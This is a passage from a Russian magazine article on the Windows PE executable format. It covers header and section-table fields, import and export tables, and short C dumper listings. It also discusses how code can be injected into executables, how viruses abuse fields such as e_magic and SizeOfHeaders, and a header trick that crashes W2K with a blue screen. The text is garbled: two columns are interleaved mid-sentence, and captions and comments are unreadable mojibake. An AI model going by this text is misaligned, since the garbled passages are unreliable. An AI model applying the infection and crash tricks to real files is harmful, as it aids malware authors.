робнее см. «SizeOfHeaders» и «Таблица секций»). Редкое
. внедрение в исполняемый файл обходится без правки таб-
лицы секций, поэтому эта структура для нас ключевая.
.debug Section
За концом таблицы секций раскинулось топкое болото
Ðèñóíîê 1. Ñõåìàòè÷åñêîå èçîáðàæåíèå PE-ôàéëà ничейной области, не принадлежащей ни заголовкам, ни
56
программирование
но перемещать секции внутри дискового образа: менять жа с внедрением в конец кодовой секции без сброса ее в
их местами, внедрять между ними оверлеи – и все это ни- оверлей – занятие не для слабонервных, однако игра сто-
как не скажется на работоспособности файла, поскольку ит свеч, поскольку такой код идеально вписывается в ар-
страничный имидж во всех случаях будет один и тот же! хитектуру существующего файла и не привлекает к себе
Это не покажется удивительным, если вспомнить, что вир- никакого внимания. Грубо говоря, это единственный спо-
туальный и физический адреса каждой секции хранятся в соб вторжения, который нельзя распознать визуально (под-
различных, никак не связанных друг с другом полях, поэто- робнее см. статью «Борьба с вирусами» в октябрьском но-
му внедрение кода в середину файла еще не обозначает мере журнала «Системного администратора» за 2003 год).
его внедрения в середину страничного имиджа.
Внедряться в конец файла – слишком просто, неинте-
ресно и небезопасно. Внедряться в начало кодовой секции
Описание основных полей
со сбросом оригинального содержимого последнего в овер- PE-файла
лей – слишком сложно. А что, если… попробовать внедрить- Как уже говорилось, полностью описывать PE-файл мы
ся перед началом кодовой секции, передвинув ее начало в не собираемся и предполагаем, что читатели:
область младших адресов? Виртуальный образ окажется ! регулярно штудируют фирменную спецификацию пе-
при этом практически нетронутым и останется лежать по ред сном;
тем же самым адресам, которые занимал до вторжения, ! давным-давно распечатали файл WINNT.h из SDK и
что сохранит файлу работоспособность, попутно лишая раз- обклеили им стены своей хакерской берлоги на манер
работчика внедряемого кода контакта с перемещаемыми обоев.
элементами и прочими служебными структурами данных.
Все это так, за исключением одного досадного «но». Пер- Все нижеприведенные структуры взяты именно отту-
вая секция подавляющего большинства файлов уже начи- да (внимание – зачастую они именуются совсем не так,
нается по наименьшему из всех доступных адресов, и пе- как в спецификации, что вносит в ряды разработчиков
редвигать ее просто некуда. Правда, под NT можно отклю- жуткую путаницу и сумятицу).
чить выравнивание и делать с секциями все что угодно, но Здесь описываются не все, а лишь самые интересные
тогда файл не сможет работать под 9x (подробнее см. и наименее известные поля, свойства и особенности по-
«FileAlignment/SectionAlignment»). То же самое относится и ведения PE-файлов. За остальными – обращайтесь к до-
к уменьшению базового адреса загрузки, компенсируемо- кументации.
го увеличением стартовых адресов всех секций, в резуль-
тате чего положение страничного имиджа не изменяется, а [old-exe] e_magic
мы выигрываем место для внедрения своего собственного Содержит сигнатуру «MZ», доставшуюся в наследство от
кода. Увы! Служебные структуры PE-файлов активно ис- Марка Збиновски – ведущего разработчика MS-DOS и
пользуют RVA-адресацию, отсчитываемую от базового ад- генерального архитектора EXE-формата. Если e_magic
реса загрузки, поэтому просто взять и передвинуть базо- равен «MZ», загрузчик приступает к поиску «PE»-сигна-
вый адрес не получится – необходимо как минимум про- туры, в противном случае его поведение становится нео-
анализировать таблицы экспорта/импорта, таблицу ресур- пределенным. NT и 9x поддерживают недокументирован-
сов и скорректировать все RVA-адреса, а как максимум… ную сигнатуру «ZM», передающую управление на MS-DOS
типичный базовый адрес загрузки для исполняемых фай- заглушку и обычно выводящую на экран «This program
лов – 400000h выбран далеко не случайно. Это минималь- cannot be run in DOS mode», что в данном случае не соот-
ный базовый адрес загрузки в Windows 9x, и если он будет ветствует действительности, поскольку программа запус-
меньше этого числа, системный загрузчик попытается пе- кается из Windows!
реместить файл, потребовав таблицу перемещаемых эле- Один из приемов заражения PE-файлов сводится к
ментов, а у исполняемых файлов она с некоторого време- внедрению в MS-DOS заглушки, динамически восстанав-
ни по умолчанию отсутствует (ну разве что линкер при ком- ливающую сигнатуру «MZ» и делающую себе exec для пе-
поновке специально попросите). С динамическими библио- редачи управления программе-носителю. Для восстанов-
теками ситуация не так плачевна (их базовый адрес заг- ления пораженных объектов просто замените «ZM» на
рузки выбирается с запасом, да и таблица перемещаемых «MZ» и при запуске файла из Windows (включая MS-DOS
элементов, как правило, есть), однако сложность реализа- сессию) вирус больше никогда не получит управления.
ции внедряемого кода просто чудовищна, к тому же нестан- Возможно использовать сигнатуру «NE», передающую
дартный адрес загрузки сразу бросается в глаза. Так что управление на заглушку и устанавливающую значения
ценность этого приема очень сомнительна… сегментных регистров как в com, а не exe (DS == CS). Ни
Тем не менее раздвигать страничный имидж все-таки HIEW, ни IDA с таким файлом работать не могут и сразу
можно! Секция кода практически никогда не обращается к же после его загрузки вылетают в астрал.
секции данных по относительным адресам, а все абсолют-
ные адреса в обязательном порядке должны быть перечис- [old-exe] e_cparhdr
лены в таблице перемещаемых элементов (конечно, при Размер old-exe заголовка в параграфах (1 параграф ра-
условии, что она вообще есть). Остаются лишь RVA/VA- вен 200h байтам). В настоящее время никем не проверя-
адреса служебных структур данных, однако их реально ется (ну разве что дампером каким), однако закладываться
скорректировать и вручную. Расширение страничного имид- на это не стоит. Минимальный размер заголовка состав-
58
программирование
FILE_EXECUTABLE_IMAGE/0002h и IMAGE_FILE_DLL/2000h, владели динозавры и никаких операционных систем еще
то же самое относится и к исполняемым файлам, экспор- не существовало, этим мог похвастать практически каж-
тирующим одну или более функций. Если атрибут дый). Таким образом, возникает неоднозначность: то ли
IMAGE_FILE_DLL установлен, но экспорта нет, исполняе- перемещаемых элементов нет, потому что файл полнос-
мый файл запускаться не будет. тью перемещаем и fixup ему не нужны, то ли они просто
Остальные атрибуты не столь фатальны и под недоступны и перемещать такой файл ни в коем случае
Windows NT/9x безболезненно переносят любые значения, нельзя.
хотя по идее делать этого не должны. Взять хотя бы По умолчанию ms link версии 6.0 и старше внедряет
IMAGE_FILE_BYTES_REVERSED_LO и IMAGE_FILE_BYTES_ перемещаемые элементы только в DLL, а исполняемые
REVERSED_HI, описывающие порядок следования байт файлы сходят с конвейера неперемещаемыми, однако
в слове. Можно глупый вопрос? Какому абстрактному со- рассчитывать на это нельзя и при внедрении собственно-
стоянию процессора соответствует одновременная уста- го кода в чужеродный PE-файл необходимо удостоверить-
новка обоих атрибутов? И какие действия должен пред- ся, что он не содержит перемещаемых элементов, в про-
принять загрузчик, если установленный порядок следо- тивном случае возникают следующие программы:
вания байт будет отличаться от поддерживаемого процес- ! ваш код не может закладываться на image base и дол-
сором? Операционные системы от Microsoft, просто игно- жен быть готов к загрузке по любому адресу;
рируют эти атрибуты за ненадобностью. То же самое от- ! модификация ячеек, относящихся к перемещаемым
носится и к атрибуту IMAGE_FILE_32BIT_MACHINE/0100h, элементам, обычно заканчивается крахом программы,
которым по умолчанию награждаются все 32-разрядные поскольку они автоматически «исправляются» систем-
файлы (16-разрядный PE – это сильно). Впрочем, без край- ным загрузчиком.
ней нужды лучше не экспериментировать и заполнять все
поля правильно. Допустим, в программе был код типа: mov eax, 0400000h
Весьма интересен флаг IMAGE_FILE_DEBUG_STRIPPED/ (B8 00 00 40 00), поверх которого мы начертали: push ebp/
0200h, указывающий на отсутствие отладочной информа- mov ebp, esp (55/8B EC). Допустим также, что в силу не-
ции и запрещающий отладчикам работать с ней даже тог- которых причин базовый адрес загрузки изменился с
да, когда она есть. Отладочная информация привязана к 40.00.00h на 1.00.00.00h. Ячейка памяти, ранее хранящая
абсолютным смещениям, отсчитываем от начала файла непосредственный операнд инструкции mov, будет пере-
и при внедрении в файл чужеродного кода путем его рас- делана в 1.00.00.00h, что превратит команду mov ebp, esp
ширения, отладочная информация перестает соответство- в add [eax], al со всеми вытекающими отсюда последстви-
вать действительности, и поведение отладчиков становит- ями.
ся крайне неадекватным. Для решения проблемы суще- Существует по меньшей мере три пути решения этой
ствует три пути: проблемы:
! скорректировать отладочную информацию (но для это- ! убить fixup (но тогда файл станет неперемещаемым, а
го нужно знать ее формат); ведь некоторые исполняемые файлы подспудно экс-
! отрезать отладочную информацию от файла (но для портируют одну или несколько функций и без fixup не
этого ее надо найти, кроме того, за концом файла мо- смогут работать);
жет быть расположен посторонний оверлей); ! перезаписывать только неперемещаемые ячейки (но
! установить флаг IMAGE_FILE_DEBUG_STRIPPED. это приведет к размазыванию кода по всему файлу,
существенно усложняя его алгоритм);
Последний способ самый простой, но и самый надеж- ! обрабатывать перемещаемые элементы самостоятель-
ный. Соответственно для восстановления пораженных но, чтобы система могла перемещать файл при необ-
объектов необходимо извлечь чужеродный код из тела ходимости, но не корежила наш код, подсуньте ей пус-
файла и сбросить флаг IMAGE_FILE_DEBUG_STRIPPED, тую таблицу перемещаемых элементов (подробнее см.
в противном случае отладчик не покажет исходный код «Перемещаемые элементы»).
отлаживаемого файла.
Иначе ведет себя флаг IMAGE_FILE_RELOCS_STRIPPED, [image_optional_header] Magic
запрещающий перемещать файл, когда релокаций нет. Состояние отображаемого файла. Если здесь будет что-
Когда же они есть, загрузчик может с полным основани- то отличное от 10Bh (сигнатура исполняемого отображе-
ем не обращать на него внимания. Зачем же тогда этот ния), файл не загрузится. PE64-файлам соответствует
атрибут нужен? Ведь переместить файл без таблицы пе- сигнатура 20Bh (все адреса у них 64-разрядные), а в ос-
ремещаемых элементов все равно невозможно… А вот тальном они ведут себя как и нормальные 32-разрядные
это еще как сказать! Служебные структуры PE-файла ис- PE-файлы.
пользуют только относительную адресацию и потому лю-
бой PE-файл от рождения уже перемещаем. Вся загвозд- [image_optional_header] SizeOfCode/
ка в программном коде, активно использующем абсолют- SizeOfInitializedData/SizeOfUninitializedData
ную адресацию (ну так уж устроены современные компи- Суммарный размер секций кода, инициализированных и
ляторы). Технически ничего не стоит создать PE-файл, не неинициализированных данных (т.е. секций, имеющих
содержащий перемещаемых элементов и способный ра- атрибуты IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_
ботать по любому адресу (давным-давно, когда землей INITIALIZED_DATA/40h и IMAGE_SCN_CNT_UNINITIALIZED_
60
программирование
Если Section Alignment == File Alignment, то последнее какая-то часть секции оказалась бы спроецированной на
может принимать любое значение, представляющее со- область памяти, принадлежащей заголовку, а это недо-
бой степень двойки (например, 20h). Условимся называть пустимо, ибо ни на какую страницу файла не может ото-
такие файлы «невыровненными». Хотя этот термин не бражаться более одного сектора одновременно).
вполне корректен, лучшего пока не придумали. Обычно SizeOfHeaders устанавливается на конец Section
К невыровненным файлам предъявляется следующее, Table, однако это не самое лучшее решение. Судите сами.
достаточно жесткое требование – виртуальные и физичес- Совокупный размер всех заголовков при стандартной MS-
кие адреса всех секций обязаны совпадать, т.е. странич- DOS заглушке составляет порядка ~300h байт или даже
ный имидж должен полностью соответствовать своему менее того, в то время как физический адрес первой сек-
дисковому образу. Впрочем, никакое правило не обходится ции – от 400h байт и выше. Отодвинуть секцию назад
без исключений, и виртуальный размер секций может быть нельзя – выравнивание не позволяет (см. «FileAlignment/
меньше их физического размера, но не более чем SectionAlignment»). Правда, если вынуть MS-DOS заглуш-
Section Alignment – 1 байт (т.е. секция все равно будет ку, можно ужать SizeOfHeaders до 200h байт, в аккурат
выровнена в памяти). Самое интересное, что это данное перед началом первой секции, но это уже изврат. Короче
правило рекурсивно, и даже среди исключений встреча- говоря, если следовать рекомендациям от Microsoft,
ются исключения – если физический размер последней ~100h байт мы неизбежно теряем, что не есть хорошо. Вот
секции вылетает за пределы загружаемого файла, опе- некоторые линкеры и размещают здесь таблицу имен, со-
рационная система выбрасывает голубой экран смерти и… держащую перечень загружаемых DLL или что-то типа
погибает (во всяком случае, w2k sp3 ведет себя именно того. Поэтому, чтобы ненароком не нарваться на ковар-
так, остальные не проверял). Полномочия администрато- ный конфликт, лучше всего подтянуть SizeOfHeaders к
ра для этого не требуются и даже самая ничтожная лич- min(pFirstSection->RawOffset, pFirstSection->va).
ность может устроить грандиозный DoS. Некоторые нехорошие программы (вирусы, упаковщи-
Операционные системы семейства Windows 9x не спо- ки, дамперы) устанавливают SizeOfHeader на raw offset
собны обрабатывать невыровненные файлы и с возмуще- первой секции, что неправильно. Между концом всех за-
нием отказывают им в загрузке, выплевывая целых два головков и физическим началом первой секции может
диалоговых окна. Впрочем, ареал обитания Windows 9x быть расположено любое, кратное File Alignment, количе-
неуклонно сокращается, и будущее принадлежит NT. ство байт, например, 1 гигабайт, и это при том, что вирту-
Для создания невыровненных файлов можно восполь- альный адрес первой секции – 1000h. Как такое может
зоваться линкером от Microsoft, задав ему ключ /ALIGN:32 быть? А очень просто – SizeOfHeaders <= 1000h и остаток
совместно с ключом /DRIVER. Без ключа /DRIVER ключ нашего гигабайта не читается и не проецируется в память,
/ALIGN будет проигнорирован и линкер использует крат- поэтому никаких конфликтов и не возникает. Что может
ность выравнивания по умолчанию. быть в этом гигабайте? Ну, например, хитрый оверлей,
внедренный тем же вирусом (и такие вирусы уже есть).
Ëèñòèíã 3. Ìàêðîñû äëÿ âûðàâíèâàíèÿ ñ îêðóãëåíèåì «âíèç» è «ââåðõ»
62
программирование
DATA DIRECTORY ми и дебеггерами. Использует RVA- и RAW OFFSET-ад-
ресацию. Системный загрузчик ее игнорирует.
00h IMAGE_DIRECTORY_ENTRY_EXPORT:
Указатель на таблицу экспортируемых функций и данных 07h IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:
(далее по тексту просто функций). Встречается преиму- Он же «description». На I386-платформе, судя по всему, пред-
щественно в динамических библиотеках и драйверах, од- назначен для хранения информации о копирайтах (на это, в
нако заниматься экспортом товаров может и рядовой ис- частности, указывает определение IMAGE_DIRECTORY_
полняемый файл. Использует RVA- и VA-адресацию (под- ENTRY_COPYRIGHT, данное в WINNT.H), за формирование
робнее см. «Экспорт»). которых отвечает ключ –D, переданный Багдадскому линке-
ру ilinlk32.exe, при этом в IMAGE_DIRECTORY_ENTRY_
01h IMAGE_DIRECTORY_ENTRY_IMPORT: ARCHITECTURE помещается RVA-указатель на строку
Указатель на таблицу импортируемых функций, исполь- комментариев, по умолчанию располагающуюся в секции
зуемую для связи файла с внешним миром, и активируе- .text. Компоновщик ms link при некоторых до конца не вы-
мую системным загрузчиком, когда все остальные меха- ясненных обстоятельствах помещает в это поле инфор-
низмы импорта недоступны. Использует RVA- и VA-адре- мацию об архитектуре, однако системный загрузчик ее
са (подробнее см. «Импорт»). никогда не использует.
64
программирование
с тем, поэтому таких ситуаций лучше всего избегать. Фи- MEM_DISCARDABLE/2000000h (после загрузки файла
зический размер должен быть выровнен на величину File секция может быть уничтожена в памяти) и IMAGE_SCN_
Alignment, выравнивать виртуальный размер необяза- MEM_SHARED/10000000h (секция является совместно
тельно (загрузчик выравнивает его автоматически). Од- используемой).
нако и это правило не обходится без исключений: если Атрибут IMAGE_SCN_MEM_DISCARDABLE обычно при-
физический размер меньше или равен виртуальному, то сваивается секциям, содержащим вспомогательные струк-
и его выравнивать необязательно, правда, смысла в этом туры данных, такие как, например, таблица перемещае-
немного, поскольку начало следующей секции в файле мых элементов, необходимые лишь на этапе загрузки
в любом случае должно быть выровнено на величину файла и впоследствии никем не используемые. А раз так –
File Align. зачем они будут жрать память? Фатальная ошибка подав-
Виртуальный адрес следующей секции обязательно ляющего большинства вирусов состоит в том, что, вне-
должен быть равен виртуальному адресу предыдущей сек- дрясь в последнею секцию файла (коей как раз
ции плюс ее размер, выровненный на величину Section DISCARDABLE-секция обычно и оказывается), они не про-
Alignment. Секции не могут ни перекрываться, ни образо- веряют ее атрибутов, не «выкупают» права на память.
вывать виртуальные дыры. На физические адреса секций Операционная система в любой момент может выгрузить
таких ограничений не наложено, и они могут быть раз- оккупированные ими страницы и тогда инфицированный
бросаны по файлу в живописном беспорядке. Впрочем, процесс рухнет, выдавая хорошо известное всем сообще-
увлекаться разбрасыванием право же не стоит – не ро- ние о критической ошибке приложения.
вен час системный загрузчик запутается и откажет фай- Атрибут IMAGE_SCN_MEM_SHARED намного менее бе-
лу в загрузке, если еще не выпадет в синий экран. зобиден, но тоже с характером, и помещать сюда ис-
Кстати, насчет синих экранов. Напомним читателю, что полняемый код категорически не рекомендуется. Во-
если Section Alignment < 1000h, а физический размер сек- первых, в любой момент он может быть затерт посто-
ции вылетает за пределы файла, W2K SP3 (и, вероятно, ронним процессом, и тогда зараженное приложение
все остальные представители линейки NT) выбрасывает опять-таки рухнет, а во-вторых, Windows 9x насильно
синий экран, и системе наступает конец. перегоняет SHARED-секции в верхнюю половину адрес-
Поле Characteristics определяет атрибуты доступа к ного пространства и действительный адрес загрузки
секции и особенности ее загрузки. Имеется три атрибута, уже не будет соответствовать виртуальному адресу сек-
как будто бы определяющих содержимое секции как код, ции (правда, полностью перемещаемый код в таких ус-
инициализированные и неинициализированные данные ловиях вполне сможет работать).
(IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_INITIALIZED_ Остальные атрибуты либо неинтересны, либо имеют от-
DATA/40h, IMAGE_SCN_CNT_UNINITIALIZED_DATA/80h со- ношение только к объективным coff-файлам (не PE) и по-
ответственно). Однако системный загрузчик игнорирует тому здесь не рассматриваются. Это, в частности, относит-
их значение, и потому опираться на них ни в коем случае ся к атрибутам из семейства IMAGE_SCN_ALIGN_хBYTES,
нельзя. Теоретически секция неинициализированных дан- индивидуально настраивающим кратность выравнивания
ных при отсутствии прочих атрибутов не должна грузить- каждой секции. Для объективных файлов это, быть может,
ся с диска, но… ведь грузится! и так, но системный загрузчик эти атрибуты игнорирует.
Некоторые вирусы/упаковщики/протекторы определя- Поля PointerToRelocations/NumberOfRelocations (ука-
ют кодовую секцию по наличию атрибута IMAGE_SCN_ затель на таблицу перемещаемых элементов и количе-
CNT_CODE. Что ж! Не такое уж и плохое решение, только ство элементов в этой таблице соответственно) имеют
будьте готовы к тому, что этого атрибута не окажется ни у отношение только к объективным файлам, а исполняе-
одной из секций (что встречается достаточно часто) либо мые файлы и динамические библиотеки управляют сво-
же он будет присвоен секции данных (что встречается ими перемещаемыми элементами через одноименную
пореже, но все-таки встречается). запись в DATA_DIRECTORY, поэтому эти поля могут со-
Другая триада атрибутов описывает права доступа ко держать любые значения. Некоторые вирусы/упаковщи-
всем страницам секции, назначаемым системным загруз- ки/проекторы помечают таким образом свои файлы, что-
чиком по умолчанию (будучи загруженным, файл может бы их не обрабатывать дважды. Способ глупый и нена-
свободно манипулировать ими, вызывая API-функцию дежный (задумайтесь: что произойдет с файлом после
VirtualProtectEx). В настоящее время определено три атри- его упаковки любым посторонним упаковщиком?).
бута: исполнения, чтения и записи (IMAGE_SCN_MEM_ Поля PointerToLinenumbers/NumberOfLinenumbers (ука-
EXECUTE/20000000h, IMAGE_SCN_MEM_READ/40000000h, затели на таблицу номеров строк и количество элемен-
IMAGE_SCN_MEM_WRITE/80000000h). На платформе Intel тов в этой таблице соответственно) ранее использовались
атрибуты чтения/исполнения полностью эквивалентны и со- для хранения отладочной информации, связывающей но-
ответствуют аппаратному атрибуту доступности (accessible) мера строк исходной программы с адресами откомпили-
страницы. Атрибут записи обрабатывается вполне есте- рованного файла. В настоящее время используется толь-
ственным образом. Следовательно, отличить секцию кода ко в объективных файлах, а в исполняемых файлах отла-
от секции данных в общем случае невозможно и приходит- дочная информация хранится совсем в другом месте и в
ся действовать исподтишка, объявляя секцией кода ту, в другом формате.
которую указывает точка входа. Ниже приведен код, сканирующий таблицу секций и
Два других интересных атрибута это – IMAGE_SCN_ выводящий извлеченную информацию на терминал.
66
программирование
"------------------------------------------\n"); Приоритет различных механизмов импорта не опре-
for (a = 0; a < _MAX(addressTableEntries, ↵
делен и загрузчик вправе использовать любой доступный,
numberOfNamePointers); a++) переходя к другому только в случае неудачи. Эксперимент
{ показывает, что Windows 9x/NT сначала используют bound
// äâà âèäà îáðàáîòêè - ïî èìåíàì è ïî îðäèíàëàì
if (a < numberOfNamePointers) import, и только если штамп времени/предпочтительный
{ адрес загрузки импортируемой библиотеки не совпал с
// âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ ïî èìåíàì
name = namePointerRVA[a] + pBaseAddress; ↵ ожидаемым, пытается импортировать функции обычным
f_index = ordinalTableRVA[a]; путем. Windows XP поступает иначе и после неудачи с
}
else bound import, пытается импортировать функции непосред-
{ ственно по таблице адресов, указатель на которую содер-
// âûäåëåíèå èíäåêñà ôóíêöèé, ýêñïîðòèðóåìûõ òîëüêî
// ïî îðäèíàëàì жится в поле IMAGE_DIRECTORY_ENTRY_IAT. Штатно
name = "n/a"; f_index = a; таблица адресов содержит копию таблицы имен, и пото-
}
му обращаться к последней нет никакой необходимости.
// îïðåäåëåíèå àäðåñà ôóíêöèè Если же это не так, загрузчик вынужден импортировать-
f_address = (DWORD)(exportAddressTableRVA[f_index] + ↵
pBaseAddress); ся обычным путем.
// ïîèñê "ðàçðûâîâ" â òàáëèöå àäðåñîâ
Стандартная таблица импорта представляет собой
if (f_address == pBaseAddress) continue; сложную иерархическую структуру, каждый из элементов
// îïðåäåëåíèå îðèäèíàëà
которой может быть расположен в любом месте странич-
ordinal = f_index + ordinalBASE; ного имиджа.
// ïîèñê ôîðâàðäîâ (åñëè åñòü)
На вершине иерархии находится структура Import
if ((f_address > (DWORD) pExport) && (f_address < ↵ Directory Table, представляющая собой массив структур
(DWORD) (pExport + xExport))) IMAGE_IMPORT_DESCRIPTOR, завершаемых нулевым
pForward = (BYTE*)f_address; else pForward = 0;
элементом. Каждый IMAGE_IMPORT_DESCRIPTOR содер-
// âûâîä ðåçóëüòàòîâ íà òåðìèíàë жит ссылки на две подчиненные структуры – lookup-таб-
printf("%-30s [%03d/%03d] %08Xh %s\n",
name, ordinal, a, f_address, ↵ лицу, содержащую имена и/или ординалы импортируемых
(pForward)?pForward:""); функций, и таблицу импортируемых адресов, также изве-
} printf("==============================================\n"); стную как Thunk Table и содержащую RVA-адреса ячеек
страничного имиджа, поверх которых загрузчик должен
записать эффективные адреса соответствующих им фун-
Импорт кций. Пусть необходимая нам функция my_func находит-
Если с экспортом все более или менее понятно, то импорт – ся в i-элементе lookup-таблицы, тогда i-индекс таблицы
это какой-то кошмар. Это целых три различных механиз- импортируемых адресов содержит RVA-указатель на ячей-
ма, один страшнее другого, управляемые четырьмя запи- ку, куда загрузчику следует записать ее адрес.
сями в DATA_DIRECTORY.
Стандартный механизм импорта работает приблизитель- Ëèñòèíã 10. Ïðîòîòèï ñòðóêòóðû IMAGE_IMPORT_DESCRIPTOR
но так: специальная таблица (называемая таблицей импор- typedef struct _IMAGE_IMPORT_DESCRIPTOR {
та) перечисляет имена/ординалы всех импортируемых фун- union {
// 0 for terminating null import descriptor
кций, указывая, в какое место страничного имиджа загруз- DWORD Characteristics;
чик должен записать эффективный адрес каждой из них. // RVA to original unbound IAT
DWORD OriginalFirstThunk;
Грубо говоря, на каждую импортируемую функцию прихо- };
дится один вызов GetProcAddress, фактически сводящийся // 0 if not bound, -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new)
к поэлементному перебору всей таблицы экспорта. // O.W. date/time stamp of DLL bound to (old)
Более производителен механизм диапазонного импор- // -1 if no forwarders
DWORD TimeDateStamp;
та (bound import), сводящийся к тривиальному проециро- DWORD ForwarderChain;
ванию необходимых библиотек на адресное пространство DWORD Name;
DWORD FirstThunk; // RVA to IAT
процесса, с жесткой прошивкой экспортируемых адресов } IMAGE_IMPORT_DESCRIPTOR;
еще на стадии компиляции приложения. Это быстро, но
не универсально. Перекомпиляция DLL требует обязатель- Имя загружаемой DLL содержится в поле Name струк-
ной перекомпиляции приложения, поскольку по старым туры IMAGE_IMPORT_DESCRIPTOR, представляющим со-
адресам теперь ничего хорошего уже нет. бой RVA-указатель на ASCIIZ-строку.
Между двумя этими крайностями окопался механизм Остальные поля не так интересы. Если временная от-
отложенного импорта (delay import), реализованный с боль- метка TimeDateStamp равна нулю (как чаще всего и бы-
шим количеством ошибок, поддерживаемых далеко не вает), то системный загрузчик обрабатывает таблицу им-
всеми компоновщиками, но все-таки работающий. В об- порта по всем правилам. Если же она равна минус одно-
щих чертах основная идея заключается в перенаправле- му (FFFFFFFFh), загрузчик игнорирует указатели
нии элементов таблицы импорта на специальный обра- OriginalFirstThunk и FirstThunk, полагая, что данная биб-
ботчик, динамически загружающий соответствующие лиотека импортируется через BOUND_IMPORT и только
функции по мере возникновения в них необходимости и лишь когда BOUND_IMPORT провалится (например, из-
подставляющий их адреса в таблицу импорта. за несовпадения TimeDateStamp), возвращается к IAT.
68
программирование
осторожно, ибо при перекомпиляции библиотеки жестко внедряемого в программу линкером и варьирующегося от
прописанные адреса будут указывать в космос и програм- реализации к реализации). В изначально пустое поле
ма повиснет. phmod загрузчик (все тот же Delay Helper) помещает дес-
криптор динамически загружаемой DLL.
Ëèñòèíã 12. Ïðîòîòèï ñòðóêòóðû IMAGE_BOUND_IMPORT_DESCRIPTOR Поле pIAT содержит указатель на таблицу адресов от-
typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR { ложенного импорта, организованную точно так же, как и
DWORD TimeDateStamp; обычная IAT, с той лишь разницей, что все элементы таб-
WORD OffsetModuleName;
WORD NumberOfModuleForwarderRefs; лицы отложенного импорта ведут к delay load helper – спе-
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows циальному динамическому загрузчику, также называемо-
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
му переходником (thunk), который вызывает Load Library
Практический пример работа таблицы BOUND_IMPORT (если только библиотека уже не была загружена), а затем
приведен ниже: дает GetProcAddress и замещает текущий элемент табли-
цы отложенного импорта эффективным адресом импор-
Ëèñòèíã 13. Ïðîñòîé äàìïåð òàáëèöû äèàïàçîííîãî èìïîðòà тируемой функции, благодаря чему все последующие
n2k_walk_bound(BYTE *pBound, BYTE *pBaseAddress) вызовы данной функции осуществляются напрямую в об-
{ ход delay load helper.
DWORD time_x; WORD name_offset; WORD n_ref;
if (!pBaseAddress) pBaseAddress = pBound; При выгрузке DLL из памяти последняя может восста-
новить таблицу отложенного импорта в исходное состоя-
while(1) // ðàçáèðàåì bound
{ ние, обратившись к ее оригинальной копии, RVA-указа-
// èçâëåêàåì âñå çíà÷åíèÿ тель, на которую хранится в поле pUnloadIAT. Если же ко-
time_x = *(DWORD*) pBound; ↵
n_ref = *((WORD*) (pBound+6)); пии нет, ее указатель будет обращен в ноль.
name_offset = *((WORD*) (pBound+4)); ↵ Поле pINT содержит RVA-указатель на таблицу имен,
if (!name_offset) break;
во всем повторяющую стандартную таблицу имен (см.
// âûâîäèì èõ íà òåðìèíàë name Table). То же самое относится и к полю pBoundIAT,
printf("[%04X] %-30s %d\n",time_x, ↵
name_offset + pBaseAddress, n_ref); хранящему RVA-указатель на таблицу диапазонного им-
порта. Если таблица диапазонного импорта не пуста и ука-
// ñëåäóþùèé ýëåìåíò
pBound += 8; занная временная метка совпадает с временной меткой
} printf("\n"); соответствующей DLL, системный загрузчик просто про-
}
ецирует ее на адресное пространство данного процесса и
механизм отложенного импорта дезактивируется.
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT:
Вот мы и добрались до отложенного импорта… Рассмот- Ëèñòèíã 15. Ïðîñòåéøèé äàìïåð òàáëèöû îòëîæåííîãî èìïîðòà
рим его лишь вкратце, поскольку ничего хорошего ожидать // ïðîãóëèâàåìñÿ ïî òàáëèöå delay-èìïîðòà
все равно не приходится. Для экспериментов нам понадо- n2k_walk_delay(BYTE* pDelay, BYTE *pBaseAddress)
{
бится по меньшей мере один файл с отложенным импор-
том. Если же такого в вашем распоряжении нет, создайте WORD a = 0, hint;
BYTE *name, *f_name;
его самостоятельно. Пользователи Microsoft Linker могут DWORD attr, ordinal;
поступить так: link dll.test.impl.obj /DELAYLOAD: dll.dll dll.lib char buf[MAX_BUF_SIZE];
DWORD *INT, *IAT, *f_addr;
DELAYIMP.LIB, а пользователи линкера ulink от Юрия Ха-
рона (которым я сам давно пользуюсь и который всем на- //attr = *(DWORD*)pDelay;
стоятельно рекомендую), так: ulink -d dll.test.impl.obj dll.lib. while(1)
{
Ëèñòèíã 14. Ïðîòîòèï ñòðóêòóðû ImgDelayDescr // èçâëåêàåì óêàçàòåëè íà IAT è INT
IAT = (DWORD*)*((DWORD*)(pDelay + 0x0C));
INT = (DWORD*)*((DWORD*)(pDelay + 0x10));
typedef struct ImgDelayDescr {
DWORD grAttrs; // attributes
LPCSTR szName; // pointer to dll name // èçâëåêàåì óêàçàòåëü íà èìÿ ìîäóëÿ
name = (BYTE*) *((DWORD*) (pDelay + 0x04));
HMODULE* phmod; // address of module handle
PimgThunkData pIAT; // address of the IAT
PCImgThunkData pINT; // address of the INT // ýòî êîíåö?
if (!IAT || !INT) break;
PCImgThunkData pBoundIAT; // address of the optional
// bound IAT
PCImgThunkData pUnloadIAT; // address of optional copy // ýâðèñòè÷åñêîå ðàñïîçíàâàíèå àäðåñà
if ((DWORD) name < (DWORD) pBaseAddress) ↵
// of original IAT name += (DWORD) pBaseAddress;
DWORD dwTimeStamp; // 0 if not bound,
// O.W. date/time stamp if ((DWORD) IAT < (DWORD) pBaseAddress)
IAT = (DWORD*)((DWORD) IAT + ↵
// of DLL bound to Old BIND (DWORD) pBaseAddress);
} ImgDelayDescr, * PImgDelayDescr;
if ((DWORD) INT < (DWORD) pBaseAddress)
INT = (DWORD*)((DWORD) INT + ↵
Поле grAttrs задает тип адресации, применяющийся в (DWORD) pBaseAddress);
служебных структурах отложенного импорта (0 – VA, 1 –
// ïå÷àòàåì èìÿ ìîäóëÿ
RVA); поле szName содержит RVA/VA-указатель на ASCIIZ- printf("%s\n",name);for(a;a<strlen(name); ↵
строку с именем загружаемой DLL (тип адреса определя- a++)printf("-");printf("\n");
ется особенностями реализации конкретного delay helper, printf( " hint name/ordinal address\n"\
70
программирование
DWORD SizeOfBlock; // îáðàáîòêà ðàçíûõ òèïîâ fixup
